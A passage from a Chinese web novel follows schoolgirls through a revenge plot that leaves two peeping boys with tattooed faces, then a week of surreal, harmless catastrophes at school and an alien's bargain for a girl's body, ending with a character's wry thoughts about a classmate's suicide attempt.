颜阎跳到她们两个中间,扎紧马步双手张开,将两人分在楚河汉界两端:“等等,等等!让我们心平气和地解决问题!”说完她捅了捅康烁影,压低声音问,“你当初怎么和她玩到一块儿的?”
康烁影闷声道:“她当初不这样。”
最后三个人用“既不公平也不科学但能有效避免争执”的少数服从多数原则,三个人各自写了小纸条,来决定到底用不用呼叫中心。由于大家都知道康烁影和刘征兰的答案,为了保密性和三人岌岌可危的友情,她们把律易棋揪出来,让他什么都别多说,根据三局两胜原则打开所有纸条,只要判断“是”或“不是”就好。
律易棋想问什么,都被她们“嘘”回去了。他只能憋屈地打开纸条宣布:“是。”
还是使用呼叫中心。
康烁影白了刘征兰一眼,她搞不懂这人在坚持些什么,要不是她率先把拳头砸在陈彦邢脸上,她一定会因为这事和刘征兰断绝来往。
律易棋莫名其妙被她们叫来当裁判,又莫名其妙被抛下,赶在康烁影进门前他大喊:“那这三张‘是’有没有保密效果,能不能直接扔垃圾桶啊?”
康烁影疾速转身,把纸条从他手里拽出来。三张不同字迹的纸条,都写着一个“是”字。
刘征兰不是会为了友情在这种问题上说谎的人。她明明愿意使用呼叫中
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心,却老是说一些高深莫测的话反对。这让她烦躁不堪,简直想把刘征兰的脑袋开瓢,看看她到底在想些什么。
刘征兰从呼叫中心里探出脑袋,把自己的一次性手套塞给她:“还吃不吃?不吃外卖就凉了。”
康烁影恶狠狠抢过手套:“吃!”
刘征兰等着她搓开手套的缝隙,把手指楔进手套的模具里,声音沉静地开口:“我不支持,但我还是会那么做。”
“你能不能说点人能听懂的话?”
刘征兰摇摇头:“我读书不够多,这些事情,我也很难讲得特别明白。”
她在裤子口袋里掏了一阵,拿出三张纸条。有一张是从草稿纸上撕下来的,上面写道:“写下你希望他们受到的惩罚,午夜十二点前,翻过来放在你家餐桌上。”
当天晚上,这张纸条凭空出现在公西华书桌上。上面的字迹很端正,看不出来作者。公西华拿起纸条,对着光线观察,又用铅笔涂满中央,没有隐形字,看来真的是一张普通纸条。
纸条的内容是善意的,她不愿深究,随手写下了两个字,把纸条放在餐桌上。早上起床吃饭的时候,家长对她小心翼翼,而她在桌子上搜寻了一圈:包子,豆浆,油条,小煎包,暑假作业……没有纸条!纸条竟然真的消失了!
公西华将桌子翻了个底朝天,确定没有纸条的踪迹。她盯着桌子看了半天,倏然笑了。她爸妈紧张地看着她,几乎要为她哭出来。而她只是拿起手机点开和公冶长的私聊:
“世界上,还是好人多啊!”
她说。
加课第八天的夜晚——准确说是第九天的凌晨,陈彦邢睡了个囫囵。
他父亲山一样的身躯颓然侧倒在沙发上,妈妈用衣架在他背上抽了两下,然后抱着他开始哭。手机叮叮咚咚地响着,他第一次收到那么多消息,放在往常他一定会欣喜若狂,可是里面不是女同学的落井下石就是男同学的嘲笑。
他总是梦到女厕所里的景象,和男厕所相反的朝向和一模一样的构造,最后一个隔间旁用透明文件袋做的的卫生巾自取盒,还有同样肮脏的下水道。他梦不到公西华戏谑的脸,拍下照片时躁动的心脏和撞入粪坑里羞愤欲死的情绪,他梦里的永远都是女生们在厕所前的放声大笑。那笑声带如有千钧之重,在那样的笑声里,他像是忽然从幻觉里回到现实,耻辱果虫般钻进他的心脏。
他感觉自己的眼球像一颗滚动的石头在眼眶里颠簸,天旋地转,上下颠倒。他真希望自己赶紧滚下悬崖撞碎了最好。可是悬崖迟迟不来,迟迟不来……失重感袭来的一瞬间,等待他的往往只是叮咚作响的手机和空调的嗡嗡声。
今晚不同,今晚他眼中映下一个影子。那影子在深蓝的窗帘前闪烁,让他想到儿童画里随浪飘摇的水草。他想说些什么,却感觉自己的口舌僵硬,四肢麻木,他的意识仿佛被困在一条毫无生机的水草里。
“啊,他睁眼了。”有个声音说,“麻醉不够啊。”
“挺好的。”这个声音有些熟悉,但他不记得在哪里听过,“反正没痛感。”
一排纤细的闪光掠过,那光芒离他的眼睛很近,似乎在他的脸颊上反复抚触,他感觉自己皮肤在破裂,有什么东西深深扎进他的身体中,捶打着他的灵魂。浆液覆盖他的皮肤,一种奇异的液体渗入他皮肤中。
光芒背后,他看到一双熟悉的眼睛。眼睛的主人裹着医护发套和胶鞋,怀里抱着一个球型物,静静地凝视着他。
他的意识拼命挣扎,想向她呼救:康烁影,康烁影,救救我!我们从小就在一起玩,我们是朋友!你忘记了吗?我们一起玩过家家,暑假在正对风扇的电脑上打森林冰火人,在大人们聚餐时捡桌子下面的木塞收藏,小学一起做出获得一等奖的手工花篮,你都忘了吗?
而康烁影和他想着同样的事情。她想起过家家时永远当父亲的陈彦邢,玩森林冰火人时对火人无比执着的陈彦邢,在吃大席时痴迷酒瓶和木塞,却故意剪开包装缎带的陈彦邢,小学做手工宁愿用他害怕的剪刀,绝不愿意和女孩子们一起画设计图的陈彦邢。
她还想起了更早的时候。那个时候的记忆都色彩鲜妍,画面都云雾迷蒙,像是浓缩在彩色泡泡里的梦。那个时候妈妈还在工作,爸爸不在家,她和陈彦邢都在榕城北面的乡村生活,高砖墙和铁皮屋前不知所谓的草堆和晾衣绳可以荡秋千,丢在屋子外的漏棉沙发和瘸腿椅是岩浆袭来时的生存所,玉米面似的日益蓬松金黄的麦田是生命的游乐场。在大家还不知道自己将成为“男孩子”和“女孩子”的时候,也曾在同一条水泥路上数信号塔上的麻雀。
我的朋友,是什么改变了你?是秋天的清晨在前院搓衣的奶奶吗?是酒席上男人们的哄堂大笑吗?是爷爷去世时不能送到我手里的遗像吗?
还是说,你本来就是这样的人,这些事只是让你的怨毒成熟结果,从枝头饱满地落下来呢?
那一天早上,刘征兰的第二第三张纸条在陈彦邢和奥巴拿拿的书桌上现身。纸条充满古典风味,报纸拼贴的文字大小不一,手撕的粗糙毛边就像他们脸上略显青涩的纹身。
如果他们能看到公西华留下的纸条,就会对情况稍有了解。她在惩罚这个字上画了个圈,绕过铅笔涂画,在角落里写下两个字。
“黥面。”
82.七日谈
一夜之间,陈彦邢和奥巴拿拿的两瓣脸颊上,分别刺下了“偷窥”两个字。从左到右,方便阅读;手法青涩,细节展舒;墨迹顽固,难以祛除;双方家长,异议提出。
奥巴拿拿打死不愿意出庭,但根据陈彦邢的证词,他脸上的字是康烁影携带两名人类女性、一个圆球闯进他房间,由一只小仓鼠动手刺字,其他人积极辅助。可惜这话没有得到任何人的信任,要不是他跪着捶地大吼大闹,甚至不值得传唤康烁影。
康烁影这天卸了所有小饰品,规规矩矩穿着校服走进办公室,仅仅用她迷茫的眼神就说服了大部分老师。老师们象征性地问了她几句,又随便在教职工里做了个采访。老师们都说,她虽然成天打扮,但常驻第一考场,绝对不能算是个坏学生。
唯一知道内情的马英妹看了她两眼,冷笑一声:“她没可能。她有这本事还在这儿上学?早抢银行去了。”
康烁影走出办公室,感激地给她塞仓鼠粮。马英妹推开她,三两步跑上楼梯:“我是人民教师,不收贿赂!”
康烁影粲然一笑:“那我主动去喂鼹鼠和熊熊算贿赂吗?”
“……把心思放在学习上好不好?”
刺青侠在县里小小地火了一把,有些新闻账号在短视频软件上发表了相关报道,很快被压下去。学校里关于刺青侠的传闻如火如荼,有人说她是丈夫家暴失手杀夫后刑满出狱的女囚,有人说那是一整个怪盗组织,毕竟都写拼贴信了,还有人说这就是因果报应,神罚!神罚!阿门!
传言越离谱,刺青侠的真身越不清晰。颜阎终于找到一个她可以插嘴的纯幻想话题,兴奋地到处插嘴,把传闻往离谱的方向带,听得同学们直翻白眼,暗地里确定:就算真的有刺青侠,也绝对不是她!
暑假前最后的时光,就在如此这虚虚实实真真假假里:总是金光灿灿的天际,洼蓝得令人生出深海恐惧的天穹,伴随着雨点般的蝉鸣和失水卷曲的树叶,全被冰镇过来下雪碧。
公冶长撑着下巴看窗外。
风尽力灌满建筑的缝隙、拉扯遮雨棚和树冠,黑板后的电子屏幕发出机器运转的嗡嗡声,老师在讲关于恐龙灭绝的英语阅读,她旁边的桌子上堆着她自己的书和卷子,收在文具袋网格里的名次升降表被取出来丢在卷子最上面,收进桌下的椅子上仿佛有一个人形的空白。
真无聊啊。
一样的窗户,一样的风景,一样的同学老师,连课程都仿佛是一样的逻辑,指向同样的终点。
如果,如果,可以休息一下……不是放假,不是睡眠,是永无时限的“休息”……
这样的无趣生活,将一直持续到退休,或者死去吧。
她一直盯着太阳,直到适应了那种强光。人类赖以生存的天体在她眼中变成一个略暗的点,表面像是流动的胶状液体,周围的云像是包裹它的弹力球。
她把视线挪到旁边,眼睛里有太阳的焦黄的发光轨迹,无论瞥向哪里都不会改变。她乐得发呆,于是用那个轨迹到处捕捉积雨云。
突然间,她的心跳停了一下,就好像一根针扎在胸口,很快被拔掉了。她似有所感地扭过头,窗外的景色仍旧一成不变。
不,有一点不一样。太阳变亮了,它周围近乎透明的光线开始变深,体积也从拇指指甲盖大小渐渐膨胀成足球那么大的火球。太阳越来越近越来越近,近到光线的触须垂下饱满的麦穗,近到孔丘都不再讲课、颜阎不再睡觉,小喇叭不再和艺术家说小话,所有人呆呆地注视着那光芒向教学楼袭来。
火球轰然撞向学校里的水池。
满池的水霎时被烤干,水池中央抱着陶罐的女神像尸骨无存,看起来像锦鲤的机械鱼啵啵乱跳,地上徒留一个边缘焦黑的巨大圆形坑洞。
这突如其来的危机将学生震慑了几秒。然后所有人都“哇”起来,靠窗的爬窗靠门的扒暖气,一个班几十个人叠在三扇窗户外,面带幸灾乐祸地围观水池的丧生。也有不凑热闹的,见老师没心思讲课了直接趴下睡觉,颜阎比较乐呵,她拉着郁霖雨去三楼的空教室抢视野了。
这还只是个开始。天空中出现了难以计数的火红太阳,云层染上鲜切西瓜的红,火球裹挟着热量直指人间的生灵。
天空,降下了陨石。
旧楼被削去一半,篮球场的地面燃起熊熊火炎,操场上的橡胶下露出远古的切面。外太空的天体肆意摧残地球的文明。
在灾难面前,人类与恐龙其实并无分别。
公冶长着迷地望着窗外,即使火舌和陨星燎过她的睫毛,她也浑然不觉。
行将就木的广播里传来断断续续的嗡鸣,教导主任让学生都不要惊慌不要害怕,这句话重复了好几遍,显然他自己也想不出来什么别的解决办法了。在三楼观火的颜阎大笑,笑声从窗户里飘出来:“死——定——啦——!”
陨石降落,这样的天灾甚至无法阻止、无法自救。学生们后知后觉地感到害怕,开始在教学楼里到处乱窜,仿佛被关进捕蝇笼里的蚊虫。
公冶长被几个身材宏伟的男同学撞得差点扑倒,她呵呵一笑,左脚绊右脚一头带双手撞上前面男生的后背。那缀成一串你追我赶的几位顿时多米诺骨牌一样倒下去,惨叫声此起彼伏。
公冶长踉跄几下稳住脚,皱着眉头朝身后不存在的“罪魁祸首”瞟了一眼,然后朝地上那一群人说了句“不好意思”,一路快走着上了三楼。一离开他们的视野,她便靠在扶手上笑起来。笑了几下,一抬头,楼上两张乐呵呵的脸也冲着她笑。
公冶长是脸上有很多小毛病的类型,细眉细眼薄嘴唇,可是组合到一起,就是让人想到喜欢,感觉分开嘴唇都能掐出细细丝丝的软语。她刚踹倒一排人,此刻靠在扶手上,笑得跟凭栏望远的油纸伞姑娘似的,郁霖雨和她玩得好,看她笑也笑,颜阎直龇牙,不知道为什么总想皱眉。
抬头见到两个人,公冶长游云似的一背手:“怎么不下来?”
郁霖雨抬下巴招呼她:“视野好。”
“陨石好看吗?”
“就那样。”郁霖雨向旁边楼梯一伸手,“上来看看?”
公冶长从善如流,仪态从容地拄着扶手走上来,趴在三楼的栏杆往外看。操场上已是一片浓烟滚滚的火海,教学楼整个笼在一只火炉子里。颜阎慢悠悠地说这下我们死定了,郁霖雨拍了她两下,她不作声了。
她们看了一会儿,等到火焰逼到主席台上,一枚陨石轰隆砸中学校正对主席台的西门。陨石碎片削泥般将楼面切下来一块儿,三楼的栏杆整个落下去,郁霖雨脚下一半悬空一半踩实,她叫了一声,身子往前一倾,直直向楼下的水泥地斜过去。
颜阎整个身子扑过去,姿势怪异地把郁霖雨的腰搂在怀里,像是突然被按下暂停键的双人花滑视频里会出现的姿势。
郁霖雨感动地眨眼:谢谢你,颜女士。
颜阎也眨眼:不客气,你死都要死了不如带我一个。我比起烧死更想摔死。
郁霖雨给了她一下。
公冶长本能地抓住了颜阎的一条腿,让她能用另一条腿支撑着地面。现在她们三个人全靠她一个人稳定的重心支撑着,但她的脚也在渐渐向外滑动,如果救援再不来,她们三个早晚会一起摔死。
郁霖雨紧张地看着她的脚底,她几乎能感觉到火焰在灼烧自己的身体……撑住……撑住……
然后失重感袭来。
公冶长放手了。
天花板成了地面,墙壁成了天空,脚下踩着的不再是水泥而是虚空,郁霖雨倒头栽下去。
预想中的疼痛来得太快了,她没有下坠,她感觉自己的脖子和后背撞到了什么东西。颜阎眼疾手快地把她扯回来,她惊魂未定地回头,却发现自己身后的仍是断开的教学楼。
刚刚她撞到了什么?
一时间场面陷入难言的沉默。公冶长笑眯眯仿佛什么都没发生过,郁霖雨欲言又止,想说又不知道说什么。颜阎左右看看,叹了口气,伸手拍拍她的后背:“对不起小郁,我跟你道歉。我刚才太紧张了,脚乱踢,不小心把李女士踢开了。”
郁霖雨将信将疑:“没……没事……”
她不敢再单独待在三楼了,登登登跑回二楼和大部队汇合。公冶长和颜阎对视一眼,都明白对方在想什么。
公冶长,就是故意松手的。
她不愿意送死,干脆把手松开了。
郁霖雨明知道这一点,却因为不喜欢跟别人起冲突而难以指责别人。她敢撕破脸还好,可她既不敢,还要心存芥蒂地卡在“公海组织”里,这样双方都难受。不如不让她知道,让颜阎把责任揽了,你好我也好。
颜阎其实没想这么多,她的思路非常简单:这就跟劝朋友分手一样,真分了还好,不分就是给你添堵!再说了,郁霖雨不跟公冶长玩,到时候就得来找她玩,她和郁霖雨玩不来,多一事不如少一事!
两人互相一撇嘴,不声不响地一块儿下楼了。
大概四十分钟过去,陨石降落停止了。万幸的是没有人员伤亡,但学校里人心惶惶,学生挤在办公室外,挨个给家里打电话。
公冶长站在队伍后段,从隔壁班的队伍里飘来另外两个学生的谈话。
“陨石降落这么大的事,气象局怎么没有提前通知啊。”
“没有吗?”
“有怎么可能谁都不知道。”
“手机上现在也没有报道,不应该啊。”
话音刚落,队伍中忽然响起一声惊呼:“你们看水池!”
好不容易组织起来的队伍东零西散,再次叠在了窗口。公冶长这次轻车熟路,直上三楼,没人再和她抢栏杆旁边的位置。
她走到栏杆旁边,被削去的楼房仿佛什么也没发生一样,平稳而牢固地矗立在原地。
被陨石摧毁的水池毫无征兆地复原了,常年不打理的水面懒懒散散,象征性地波动几下。女神像在水池中央安然抱着陶罐。
不仅水池,就连地上的坑洞、焦土,被烧死的树木和坍塌的旧楼,都完好如初地矗立在原地。胆子大的同学拿出手机看录像,发现陨石雨期间的视频全都不可查看。
陨石仿佛是一场集体幻觉。
事后大家讨论,真正的陨石波及范围不可能这么小。几颗就能结束恐龙时代,没道理对他们手下留情。那么当时的陨石降落到底是怎么一回事呢?没人能给出回答。
第二天本以为能放假,但没收到停课通知,只能正常上课。学校用实力证明:下陨石也要上学是真的!
以这种理由请假,家长都不相信,所以胆子小的同学也只好畏畏缩缩地坐在教室里听风声。小喇叭到处传言:昨天监控集体失灵,从头到尾啥都没拍到。大家都说,这次可能真的是没考上大学的学生怨灵作祟。
陨石降落在昨天的十点十五分左右。当分针逼近“3”的时候,每个人都屏气凝神,连老师都假装不经意地停止授课,大家心照不宣地盯着窗外的天空。直到分针走到4,外面也一直风平浪静,像无数个平凡的日子里的模样。
所有人松了一口气。公冶长同样如此同样松了一口气,只是气息夹杂着一丝难以捉摸的失望,棉絮般的烦闷重新填满她的胸膛。
她没有失望太久。
下午第三节课开始不到两分钟。一声比鞭炮响五六倍的爆裂声推动空气、挤压窗户,教学楼的门窗齐齐颤抖出咣啷咣啷的响声,心脏和身体一同紧缩起来。
公冶长对外界的风吹草动甘之如饴,立刻把脸扭向窗外,开始发呆。
这只是前奏,更密集的声音从头顶降下。不是轰鸣的雷,而是声声分明的爆炸,仿佛天空嘶吼着自己的宣言。
这一次,天空降下了枪雨。
子弹穿透主席台,掀翻花圃篱笆,学校的西式拱门被打成筛子,碎裂的表盘玻璃铺满钟楼脚下的地面。唯独教学楼没有被波及。
依然是无人伤亡,依然是突然间自动复原,依然是监控和手机摄像头集体失灵。学校方和学生都也找不到证据,只能挠着头回教室,上课的上课上学的上学。
而公冶长,她又开始觉得无聊了。是的,是的,子弹划过脸颊的触感极其真实且刺激,可是知道这些东西不会伤害她之后,这种刺激的感觉也变得无聊起来。不过是4D影像而已,有什么可激动的?
第三天,天空没有掉落任何奇怪的东西。那是最后一节课上课前,她打着哈去接饮用水,炒香的油和肉类脂肪的香气在炎热的午后弥漫,她迈出左脚去捉下一级台阶,脚下忽然一空。
一切都轻起来了。
课桌、板凳、试卷、计算器、储物柜、MP3、空中乱缠的耳机线、水杯里的液体、马尾辫和衣角的弧度,都呈现出上升的曲线,最后所有东西都慢慢悬在半空,仿佛在看不见的水中漂浮。
重力改变了。
公冶长试探性地向下发力,重新站回地面上。她揉揉脖子,膝盖弯曲,身体下沉,然后猛然向上跃起,身体轻巧得像一片羽毛。她飞过整段走廊,在撞上墙面前用双手撑住,再蹬着它反向走上天花板。
没有重力,血液不会倒流,头脑不会发晕。
下如同上,上如同下。
风穿过她的四肢和发丝,脱离地面的快乐令她在空中低声轻笑,笑声湮没在其他飞行的学生同样欢快的声音里。
第三天结束了。
第四天,地板上冒出海浪,每一层楼都被隔开,楼层的面积不知为何变得极大,五六个班顺水漂流居然不显得拥挤。会游泳的同学潜下去,说底下得有两米多深。
学校的半墙刚过一米五,怎么可能会有两米多深的水?
谁也没法回答。
不会水的学生扒着课桌,其惶恐仿佛泰坦尼克号撞冰山后的罗丝。神奇的是,只要爬到课桌上,课桌的整体就会拉长变窄,中央自动凹下去,周围翘起来,变成一艘小小的舢板。刘征兰坐着小船逮着人就问:“为什么课桌能浮起来?F不等于肉野鸡尾排了?”没人回答她,大家碰见她就泼水。
小喇叭借了身体乳,直接把脑袋泡进水里洗。艺术家紧急抢救自己的手帐本和漂亮胶带。还有几个就着水用身体乳洗头的。
北极兔倒拿课桌椅,用靠背那一面当浆狂划,王海同把自己的桌子和她的拼成一条舢板,提着涮笔筒从海里舀水,被她们掠过的路人都得到劈头盖脸一通浇和一阵疯狂的怪笑。
康烁影不知道从哪里摸出一副墨镜,悠哉悠哉地跷着腿飘过来。说来奇怪,她这一副新打扮,球球居然没给她加亮晶晶的滤镜,可能是智械怕水吧。
没有滤镜,康烁影也放得开些,开始到处惹别人。她撞卫絮一下,她道歉,撞公冶长一下,被弹开,撞颜阎一下,被泼水,撞刘征兰一下,被抓着问“科学去哪了”,她赶紧脚掌拨清波划走了。
卫絮在后面追她:“墨镜哪里来的?”
康烁影拉下墨镜,从镜片上面一挑眉毛:“老师办公室飘出来的。”
“那老师呢?”
“没看到。”
两个人相对无言,沉默片刻,她们都叫起来:“坏了!老师呢!”
两人抢过北极兔的椅子,左一划右一拨,歪歪扭扭闯进老师办公室。老师办公室里的桌子都是加厚加料三个工人才能抬起来的人造板,脚趾撞一下桌脚人趴下了桌子没动。即使是在这么不科学的场景里它们也没能浮起来。所有老师站在办公桌上,感动地看着门口的学生,场景非常像某部知名电影,语文老师甚至举起手高呼:“Oh captain!my captain!”
卫絮划着椅子就冲着数学老师去,数学老师大义凛然一挥手:“别管我!先救主任!”
主任一挥手:“别管我!先救校长!”
康烁影在这种事情上意外地听话,她按职位去救了学校里“最值得救”的几位人物,其余教师的职称过于混乱,谁也说不清谁是谁的上级,她只好点兵点将决定先救谁。
英语老师在冲出办公室的一瞬间冲所有人大叫:“同学们不要害怕!”
同学们本来不害怕,一看到他立刻作鸟兽散,一边划船一边恐惧
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大喊:“不要布置作业!”
“英语报纸呢?”
“也不要!”
康烁影救出周天子的时候,办公室只剩下零星几个老师。周天子爬得特别高,她把自己整个人都卡在两根暖气水管之间,几乎下不来。康烁影把她腰间的肉推出去,又把她的脚强行抬起来,以侧身的方式把她推出去。但是周天子的柔韧性过于差,康烁影和她大腿根的那条筋缠斗许久,周天子终于在疼痛中强行把自己的腿拔了出来。
她拔出来的时候显然没有通知康烁影。康烁影手下一空失去着力点,身体随着惯性撞上暖气管,然后眼前一阵天旋地转,左脚向后略退,身子便失去了平衡向“海面”摔过去。
这个时候下面一个人都没有。康烁影的手臂在空中一通乱抓,试图握住什么,可是窗帘和周天子的袖子都从她指尖擦过,她只好努力调整呼吸,企图不让自己呛水。
水流“滋”地喷溅,有什么东西停在她身下。她的后背没有接触到水面,而是被一双手臂稳住了身形。
公冶长叹了口气,顶住她的肩膀让她坐起来。她的舢板后面放了一个瓶身凹凸的空塑料瓶,刚才的“滋滋”声应该就是她把瓶子里的空气压缩,放进水里当推进器的声音。要是让刘征兰看到,她又要发疯。
康烁影听说了公冶长背刺郁霖雨的事,本已经把她划到坏女人范畴里,没想到她居然会做好人好事。她有点结巴地说:“谢……谢谢啊……”
公冶长甩了甩湿漉漉的手:“随手的事。”
她们划出办公室时,卫絮把最后剩下的数学老师也救出来了。这对师生谁也没说话。
在找到安放数学老师的课桌后,她登上课桌划去别的地方了。卫絮在原地打了个转,一颗在抽屉里融化得像软橡皮泥的潮湿太妃糖从她口袋里掉出来。她捡起来看了看,是数学老师以前常给她的那种。
她“呵”了一声,剥开糖扔进嘴里:“逗小孩儿的玩意儿。”
这四十分钟结束后,一切海水都消失不见,甚至连身上的湿意都没有了。站在课桌上大喊“七点钟方向有宝藏”的船长和水手们灰溜溜踩着椅子滑下来。洗头的几个人冲进水龙头下冲泡沫。北极兔和王海同的联合攻击却一直留在人们身上,因为她俩的水是从水龙头接的。
第五天,所有人变成了各种各样的动物。地上爬满蚯蚓和鼻涕虫,还有味道臭烘烘的黄鼠狼。
第六天,学校变成中世纪城堡,到处都是蝙蝠、结网蜘蛛和会动的铠甲,礼堂里那架钢琴无师自弹,阴影里隐藏着披被单的幽灵。
第七天,一桩杀人案在天井发生,在场所有人都有嫌疑。挨个排查后发现是被害者的光头太亮,被老鹰当成砸乌龟的石头,就这么被砸死了。
所有人都无比兴奋。这些异常既不伤害人,也不会影响生活,作为生活的调味料正正好好。
第八天,加课的第十七天,也是最后一天。
今天会发生什么呢?
每个人都翘首以盼。
而公冶长又感到无聊了。
光怪陆离的混乱足以让她从无趣的生活中暂时解脱。她享受疯狂且脱离常识的快乐,但很快又意识到这种混乱的虚伪和无用,从而回归厌倦。
这些混乱到底是什么造成的?怎么会毫无征兆地出现又忽然消失?它们是什么原理?能被人类解释吗?它们是虚假的吗?
公冶长在走廊上思考这个问题时,身后有人拍了拍她的肩膀。
公西华站在她身后,出于取暑假作业、露面报平安或者放假前跟朋友们道别,种种原因之下,她站在了这里。
暗红尘霎时雪亮,热暑光一阵冰凉。
两个人互相点了点头,并肩走进教室。两个人仪态端正,不急不缓地经过一排排座位,迎着探究的目光,拉开椅子,放下书包,胳膊支上桌面,笔袋放入课桌左上角,“叮咚”,上课了。
一整天里,公冶长没感觉到无聊。
那一天,什么也没有发生。
加课第十七天的晚上,公冶长回到家里的烧烤店,将书包放到后厨的躺椅上,把一个碟形的合金产品从收纳袋的角落里掏出来,直奔角落里那位常客,将那东西放到他桌上。
“拿走吧。”她说,“我不需要。”
银芯梅举起那个碟形道具看了看,好奇地盯着她:“你对造景间不满意吗?”
“还好。”公冶长说。
“除了造景间,我还有很多别的东西。星球演奏的演唱会,可以在宇宙里飙车的气态行星,建在整个星球中间的大型体育场。你都不想要吗?”银芯梅的声音纤细而遥远,“只要你愿意和我走,我可以在法律允许的限度内,把一切都给你。只要你同意在五十年后,由我随意处置你的身体。”
公冶长冷静地敲着桌子:“那个时候,我已经死了吧。”
“就是要死去的你。如果你不死,我可以用保证无痛的安乐手段带走你。”银芯梅说,“放心,我会好好对待你的身体。我想把你作为一具新的寄生躯壳。”
“我都老得不能动了,脸和身子都垮了,这具身体还能用吗?就算能做手术延长寿命,你也不太划不来,更方便的是去找更长寿的种族吧。”
银芯梅咀嚼着铁签上鸡的尸体,将它化为自己身体的养料:“我不在乎寿命。我需要的,是你的思维呀。你的记忆蛋白始终在你的脑海里,而我只是植物。我有可能完全变成‘你’,也有可能带着传说中的灵魂变成‘你’和‘我’,还有这具身体原主人的混合体。移植对‘你’和‘我’的性格,都有很大影响。而你是我观察到的人类里最有趣的一种,你的道德像云一样没有形状,你会抛弃同学,也会奔走救人,你会向外泄密,也会帮助朋友,我非常想探究你的思维方式。并且,你在有趣的人里最趋利。我相信我的条件会让你满足的,李盛禾女士。”
面对李盛禾的沉默,银芯梅补充道:“如果你担心自己的权益无法受到保护,那么我有一条安全措施。虽然藤发人的寄生一直颇受争议,没有具体的法律保护,属于灰色产业,但你的同学里有几位已经获得了瞬间跨越空间的能力,她们的人品值得信任。只要你同意,我就会和她们交涉,让她们定期来看望你,保证你的安全。”
李盛禾——也就是公冶长——女士,思索了片刻。最后把手指按在造景间上,将它推回银芯梅面前:“不了,谢谢。”
银芯梅歪着脑袋看向她:“为什么呢?是条件不够丰厚,还是你觉得仍旧缺少安全感?”
“都不是。”李盛禾说,“我不觉得这些东西能带给我足够的乐趣,李桐淑一回来,它就检测到我的快乐,不再造景了,说明它也就那样。”
“可是根据寰宇匣的测算,你们两个毕业后分道扬镳的可能性很高。”四根手指轮流覆住银芯梅的脸颊,抬起来,再落下,像是不停歇的马蹄,“抛开那个总不灵验的工具,我相信你也能看出来。你和她只是比较聊得来、坐得碰巧很近的同学,仅此而已。你和她未来的计划里都没有彼此,迟早会分离。”
李盛禾的目光空茫地落在烧烤店油腻腻的桌子上:“我知道。”
“那你为什么要留下?”
“因为快乐是真实的。”李盛禾淡淡道,“我非常喜欢她,我也喜欢我们之间的友情。即使它指向分离,也难以冲淡其中的乐趣。如果我和李桐淑之间有快乐,那我未来和别人也会有。如果她是最后的快乐,那也没关系,至少我要亲自走到这条路的尽头,而不是把为它标出明确的界线。”
“即使错过另一个世界的快乐?”
“你不能保证它能让我快乐。”
“这个世界就可以吗?”
“至少在毕业之后,我们的友谊会维持一段时间。这一点快乐我是能保证的。”
银芯梅笑了起来:“好吧,我明白了。”
李盛禾用可乐罐跟他的芬达碰了个杯,气泡饮料和薄铝片的碰撞像是桌子上下起了小范围的雨。热浪逼人的空气随着软玻璃帘的开合涌进室内。
暑假到来了。
83.本世纪坠楼人
俗话说得好,祸福相依。俗话又说,福无双至,祸不单行。由此可知,人生的格式应该是福祸祸福祸祸福祸祸的无限循环,这样可以保证每个祸都有福,同时福和祸永远是1:2。嗯?不对,这比例是不是有问题……
颜阎最近的福显然有点太多了,先是拳打罗塞塔脚踢张燕之的期末成绩,再是跟放假一样的加课十七天,最后还有天翻地覆七天乐。她每天都过得疯疯癫癫、乐不可支,早上起床想到上学都会笑出声。这不符合宇宙定律。
所以当报应到来时,她了然一笑——生活的暗算终于来了,这种熟悉的无语和想死才是她的常态啊!
那是暑假的一个中午,柜式空调锁孔形状的出风口呼出非常贴合人体舒适温度的冷气。妈妈以身体不好为理由,不去隔壁楼的奶奶家吃饭,颜阎拎着草绿色三层饭盒,大汗淋漓地把妈妈的午饭放在桌上,自己往沙发一瘫,差点把她妈妈从沙发另一个角上弹起来。
妈妈踹了她一脚。她滑下去,手机举到眼前看消息。结果一打开,她就傻眼了。
“妈!”颜阎大叫,“那个谁她妈让我去她家!”
“哪个谁?”
“就是那个那个那个!那个女人啊!我们都认识的,和我同龄的,那个女人!”
妈妈思索几秒,倏然变色:“你最近又犯什么事了?她找你干嘛?”
“我犯什么事?我最近可乖了!”
“她妈怎么说的?”
颜阎把手机递给她:“就是问我有没有空来她家玩,让我去跟韦一见个面。”
“你想去吗?”
颜阎晃脑壳:“一点不想!”
妈妈赦免她:“那就不去了。”
“她万一问起来怎么办?”
妈妈说:“那你就过几天再回,到时候说你不看微.信。反正她过几天也会回精神病院的。”
按照小县城定律,特别是榕城这种只有一所高中的城镇,每个人都是彼此的青梅竹马,再不济也是青梅竹马的青梅竹马。
开智之前的青梅竹马们往往只是碰巧在一起玩,没有经过任何精神上的交流,所以大家跟青梅竹马的友情都挺不稳定的。
韦一就是那个拿不出手的青梅竹马,虽然她小学初中都和颜阎在一个班,但是二人早已心生嫌隙,小学毕业后就几乎不在一起玩了。颜阎对她的情况一无所知,直到她高一上学期自杀未遂后进了精神病院。
不得不说,韦一女士纵身一跃,给大家带来了无与伦比的正面影响。学校的音乐课从一个月一节变成一周一节,作业量从写到十二点变成写到十一点半,老师们连着一个月说话都轻声细语,连颜阎的补习班都变少了。
韦一的妈妈为什么要叫她去呢?好奇心令她悄悄打下这个问题。
过了将近十五分钟,对方发来一条语音和一个笑里藏刀的表情:“听说你期末考得可好了,让你劝劝韦一回去上学呀。”
颜阎为韦一的命运默哀,同时缺德地哈哈笑。
“我有点忙耶,阿姨,补习班挺多的。我可以和她打语音吗?”
“不太行,妮儿。我一进她房间她就割自己,你来了她说不定会出门看看。”
颜阎想说不会的,阿姨,她只会上吊。但是说了阿姨也听不进去,她运用自己绝赞的糊弄手段,花言巧语顺着韦一妈妈的话说,把她完美哄骗过去。在颜阎感同身受般的安慰和入木三分的分析下,对方迅速将女儿的精神病抛之脑后,用大段大段的语音开始向颜阎哭诉她的不易。
颜阎当然没看,她拿去跟妈妈炫耀了一下。妈妈说你情商进步了嘛,她说这是我人格魅力,爱上我是人之常情!
韦一是那种非常市侩的小女孩儿,和宋悦馨的狗腿、皇后的坏心眼儿都不同,这家伙过于熟谙人类社会的黑暗面,颜阎觉得这是她得精神病的主要原因。
此女小时候和颜阎玩,完全是因为颜阎的妈妈是小学老师,放学后可以在她妈妈办公室写作业!那时候她对颜阎也很难说是百依百顺,只不过颜阎太古怪了,有个可以聊天的人她就谢天谢地,即使这个聊天的人总是用蓝色水笔点着光洁的额头,带着不清明的笑容,把讽然的语言穿进颜阎的衣服里。
